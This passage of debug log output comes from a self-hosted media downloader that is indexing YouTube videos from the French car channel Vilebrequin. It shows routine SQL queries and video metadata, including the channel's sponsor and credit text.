jantes ) et Cassandra BORIE\nAgent : Joséphine GODARD\nAssistant Réal : Hugo JOUY\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nSon : Alan POIRIER\nDrone : Vladimir KADIR et Baptiste MOAL\nRégisseur plateau : Thierry Marat et François CHATAL\nDéco : Sarah VON. SAURMA, Mona VETTOREL, Léo LEDERFAJN\nMécanique : La Fabrique Auto - Joseph, Greg et Arthur ( ainsi que pour ta vie mise en jeu )\nConstruction rond point : Noblet Solution - Loïc Arnaud\nOsthéo : Thomas BATON\n\nMontage : \nChef Monteur : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\nAssistant Monteur : Thibault Iacolare\n\nMerci à la base 217 pour leur accueil sur la piste\n\nMerci à l'équipe de la sécurité civile \n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#rondpoint #crash #vilebrequinairline", "On prend un ROND POINT à 160KM/H", "f8108c1a-9fed-41dc-9a91-5c07bb029b40", "HfuNf9F0Ivc", 2156, false, "https://www.youtube.com/watch?v=HfuNf9F0Ivc", 2, "/downloads/Vilebrequin/2023-11-30 On prend un ROND POINT à 160KM⧸H/On prend un ROND POINT à 160KM⧸H [HfuNf9F0Ivc].mkv", false, false, false, 1, [], 98, ~U[2023-11-30 17:15:01Z], ~U[2026-04-19 05:40:58Z], ~U[2026-04-19 05:40:58Z], "Les pizzas Del Arte sont disponibles à la livraison et en Click&Collect dans le restaurant le plus proche de chez vous : https://www.delarte.fr/commander/commande-en-ligne\nUn immense merci à eux pour le soutien et régalez vous bien.\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\nMerci à tous les participants techniques sur ce tournage :\n\nProduction : Anaëlle LE MAGOROU ( merci pour les jantes ) et Cassandra BORIE\nAgent : Joséphine GODARD\nAssistant Réal : Hugo JOUY\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nSon : Alan POIRIER\nDrone : Vladimir KADIR et Baptiste MOAL\nRégisseur plateau : Thierry Marat et François CHATAL\nDéco : Sarah VON. SAURMA, Mona VETTOREL, Léo LEDERFAJN\nMécanique : La Fabrique Auto - Joseph, Greg et Arthur ( ainsi que pour ta vie mise en jeu )\nConstruction rond point : Noblet Solution - Loïc Arnaud\nOsthéo : Thomas BATON\n\nMontage : \nChef Monteur : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\nAssistant Monteur : Thibault Iacolare\n\nMerci à la base 217 pour leur accueil sur la piste\n\nMerci à l'équipe de la sécurité civile \n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#rondpoint #crash #vilebrequinairline", "On prend un ROND POINT à 160KM/H", "HfuNf9F0Ivc", 2156, false, "https://www.youtube.com/watch?v=HfuNf9F0Ivc", "/downloads/Vilebrequin/2023-11-30 On prend un ROND POINT à 160KM⧸H/On prend un ROND POINT à 160KM⧸H [HfuNf9F0Ivc].mkv", false, 1, ~U[2023-11-30 17:15:01Z]] 07:40:58.435 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=529.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:40:58.436 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.3ms idle=21.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:40:58.439 [debug] QUERY OK source="media_items" db=2.3ms idle=20.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2] 07:40:58.440 [debug] Current batch of media processed. Will check again in 1000ms 07:40:59.441 [debug] Current batch of media processed. Will check again in 1000ms 07:41:00.415 [info] {"source":"oban","duration":4131,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:41:00.446 [debug] Current batch of media processed. Will check again in 1000ms 07:41:01.447 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Merci à Rhinoshield pour leur soutien : Offres Black Friday @rhinoshieldfrance jusqu’à -55% sur tout le site jusqu’au 28/11\nlien : https://url.rhinoshield.fr/vilebrequin_blackfriday\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Moteur et Sens, et Forever Young pour le prêt de cette incongrue Aston Martin Cygnet, pour voir les modèles en stock : \nSite : https://foreveryoungtimer.com\nInstagram : https://www.instagram.com/foreveryoungtimers/\n\n\nMerci à l’autodrome de UTAC Linas Monthléry, et en particulier Nourhène, pour le prêt de leur anneau de vitesse. Pour assister à leurs événements : \nhttps://www.utac.com/fr/vos-besoins/festivals-de-voitures-motos/\n\n-------------------------------------------------------------------\n\nMontage Sponso : \n\n- Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\nMontage vidéo : \n\n- Baptiste Moal \nInstagram : https://www.instagram.com/bapt.ml/\n\n- Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#aston #cygnet #grossedouille", "duration" => 1633, "filename" => "/downloads/Vilebrequin/2023-11-23 Essai Aston Martin Cygnet : La MEILLEURE des Aston/Essai Aston Martin Cygnet : La MEILLEURE des Aston [_VF035IyZwg].mkv", "id" => "_VF035IyZwg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=_VF035IyZwg", "playlist_index" => 3, "timestamp" => 1700759702, "title" => "Essai Aston Martin Cygnet : La MEILLEURE des Aston", "upload_date" => "20231123"} 07:41:01.449 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1978.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:41:01.450 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1979.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:01.457 [debug] QUERY OK source="media_items" db=5.5ms queue=0.7ms idle=1539.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-23 17:15:02Z], 1] 07:41:01.461 [debug] QUERY OK source="media_items" db=3.0ms idle=1043.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à Rhinoshield pour leur soutien : Offres Black Friday @rhinoshieldfrance jusqu’à -55% sur tout le site jusqu’au 28/11\nlien : https://url.rhinoshield.fr/vilebrequin_blackfriday\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Moteur et Sens, et Forever Young pour le prêt de cette incongrue Aston Martin Cygnet, pour voir les modèles en stock : \nSite : https://foreveryoungtimer.com\nInstagram : https://www.instagram.com/foreveryoungtimers/\n\n\nMerci à l’autodrome de UTAC Linas Monthléry, et en particulier Nourhène, pour le prêt de leur anneau de vitesse. Pour assister à leurs événements : \nhttps://www.utac.com/fr/vos-besoins/festivals-de-voitures-motos/\n\n-------------------------------------------------------------------\n\nMontage Sponso : \n\n- Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\nMontage vidéo : \n\n- Baptiste Moal \nInstagram : https://www.instagram.com/bapt.ml/\n\n- Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#aston #cygnet #grossedouille", "Essai Aston Martin Cygnet : La MEILLEURE des Aston", "2bc5b5a3-3f7a-4ebc-82d9-50d7a1198d7b", "_VF035IyZwg", 1633, false, "https://www.youtube.com/watch?v=_VF035IyZwg", 3, "/downloads/Vilebrequin/2023-11-23 Essai Aston Martin Cygnet : La MEILLEURE des Aston/Essai Aston Martin Cygnet : La MEILLEURE des Aston [_VF035IyZwg].mkv", false, false, false, 1, [], 98, ~U[2023-11-23 17:15:02Z], ~U[2026-04-19 05:41:01Z], ~U[2026-04-19 05:41:01Z], "Merci à Rhinoshield pour leur soutien : Offres Black Friday @rhinoshieldfrance jusqu’à -55% sur tout le site jusqu’au 28/11\nlien : https://url.rhinoshield.fr/vilebrequin_blackfriday\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Moteur et Sens, et Forever Young pour le prêt de cette incongrue Aston Martin Cygnet, pour voir les modèles en stock : \nSite : https://foreveryoungtimer.com\nInstagram : https://www.instagram.com/foreveryoungtimers/\n\n\nMerci à l’autodrome de UTAC Linas Monthléry, et en particulier Nourhène, pour le prêt de leur anneau de vitesse. Pour assister à leurs événements : \nhttps://www.utac.com/fr/vos-besoins/festivals-de-voitures-motos/\n\n-------------------------------------------------------------------\n\nMontage Sponso : \n\n- Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\nMontage vidéo : \n\n- Baptiste Moal \nInstagram : https://www.instagram.com/bapt.ml/\n\n- Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#aston #cygnet #grossedouille", "Essai Aston Martin Cygnet : La MEILLEURE des Aston", "_VF035IyZwg", 1633, false, "https://www.youtube.com/watch?v=_VF035IyZwg", "/downloads/Vilebrequin/2023-11-23 Essai Aston Martin Cygnet : La MEILLEURE des Aston/Essai Aston Martin Cygnet : La MEILLEURE des Aston [_VF035IyZwg].mkv", false, 1, ~U[2023-11-23 17:15:02Z]] 07:41:01.462 [debug] QUERY OK source="sources" db=0.9ms idle=547.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:01.464 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.1ms idle=13.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:41:01.465 [debug] QUERY OK source="media_items" db=1.0ms idle=13.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [3] 07:41:01.465 [debug] Current batch of media processed. Will check again in 1000ms 07:41:02.466 [debug] Current batch of media processed. Will check again in 1000ms 07:41:03.467 [debug] Current batch of media processed. Will check again in 1000ms 07:41:04.072 [info] {"source":"oban","duration":1627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:04.468 [debug] Current batch of media processed. Will check again in 1000ms 07:41:05.469 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Merci à la Filière MSA pour le soutien. Retrouvez toutes les informations des Métiers des Services Auto ici : \n👉 https://www.metiers-services-auto.com\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Arthur et Joseph de la fabrique auto pour le nouveau décor. \nhttps://www.instagram.com/lafabriqueauto/\n\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nMontage Sponso : Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#AstonMartin #Lagonda #faillite", "duration" => 2666, "filename" => "/downloads/Vilebrequin/2023-11-16 VULTECH Aston Martin : 18 faillites et toujours debout/VULTECH Aston Martin : 18 faillites et toujours debout [AVcqMUjoRFQ].mkv", "id" => "AVcqMUjoRFQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=AVcqMUjoRFQ", "playlist_index" => 4, "timestamp" => 1700154901, "title" => "VULTECH Aston Martin : 18 faillites et toujours debout", "upload_date" => "20231116"} 07:41:05.472 [debug] QUERY OK source="sources" db=1.4ms queue=0.3ms idle=1000.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:41:05.474 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:05.479 [debug] QUERY OK source="media_items" db=3.9ms queue=0.3ms idle=513.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-16 17:15:01Z], 1] 07:41:05.484 [debug] QUERY OK source="media_items" db=2.9ms idle=10.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à la Filière MSA pour le soutien. Retrouvez toutes les informations des Métiers des Services Auto ici : \n👉 https://www.metiers-services-auto.com\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Arthur et Joseph de la fabrique auto pour le nouveau décor. \nhttps://www.instagram.com/lafabriqueauto/\n\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nMontage Sponso : Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#AstonMartin #Lagonda #faillite", "VULTECH Aston Martin : 18 faillites et toujours debout", "57a9ff3b-650c-4491-967a-8444836c3b3d", "AVcqMUjoRFQ", 2666, false, "https://www.youtube.com/watch?v=AVcqMUjoRFQ", 4, "/downloads/Vilebrequin/2023-11-16 VULTECH Aston Martin : 18 faillites et toujours debout/VULTECH Aston Martin : 18 faillites et toujours debout [AVcqMUjoRFQ].mkv", false, false, false, 1, [], 98, ~U[2023-11-16 17:15:01Z], ~U[2026-04-19 05:41:05Z], ~U[2026-04-19 05:41:05Z], "Merci à la Filière MSA pour le soutien. Retrouvez toutes les informations des Métiers des Services Auto ici : \n👉 https://www.metiers-services-auto.com\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Arthur et Joseph de la fabrique auto pour le nouveau décor. \nhttps://www.instagram.com/lafabriqueauto/\n\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nMontage Sponso : Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#AstonMartin #Lagonda #faillite", "VULTECH Aston Martin : 18 faillites et toujours debout", "AVcqMUjoRFQ", 2666, false, "https://www.youtube.com/watch?v=AVcqMUjoRFQ", "/downloads/Vilebrequin/2023-11-16 VULTECH Aston Martin : 18 faillites et toujours debout/VULTECH Aston Martin : 18 faillites et toujours debout [AVcqMUjoRFQ].mkv", false, 1, ~U[2023-11-16 17:15:01Z]] 07:41:05.487 [debug] QUERY OK source="sources" db=2.0ms queue=0.1ms idle=14.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:05.490 [debug] QUERY OK source="media_profiles" db=2.0ms queue=0.1ms idle=15.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:41:05.493 [debug] QUERY OK source="media_items" db=2.4ms queue=0.1ms idle=16.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND 